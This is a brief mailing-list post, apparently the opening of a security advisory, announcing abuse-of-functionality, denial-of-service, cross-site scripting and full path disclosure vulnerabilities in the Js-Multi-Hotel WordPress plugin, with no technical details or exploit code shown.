Hello list!
 
There are multiple vulnerabilities in Js-Multi-Hotel plugin for WordPress.
Earlier I wrote about two other vulnerabilities.
 
These are Abuse of Functionality, Denial of Service, Cross-Site Scripting
and Full path disclosure vulnerabilities in Js-Multi-Hotel plugin for
WordPress. There are much more vulnerabilities in this plugin (including
dangerous holes), so after two advisories I''ll write new advisories.
